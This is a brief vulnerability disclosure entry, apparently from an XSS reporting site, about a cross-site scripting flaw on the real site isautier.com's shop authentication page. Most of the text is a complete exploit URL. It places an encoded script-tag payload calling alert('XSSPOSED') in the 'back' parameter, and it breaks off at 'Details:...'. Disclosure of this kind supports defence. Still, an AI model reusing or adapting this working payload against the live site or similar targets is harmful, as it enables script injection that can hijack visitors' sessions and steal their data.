isautier.com XSS vulnerability

Vulnerable URL: http://www.isautier.com/boutique/en/authentification?back=http://www.isautier.com/boutique/en/commande%253Fstep%253D1%2526multi-shipping%253D0%27%22%28%29%26%25%3Cacx%3E%3Cscript%20%3Ealert%28%22XSSPOSED%22%29%3C/script%3Eguestcheckout=0&multi-shipping;=0?controller=404 Details:...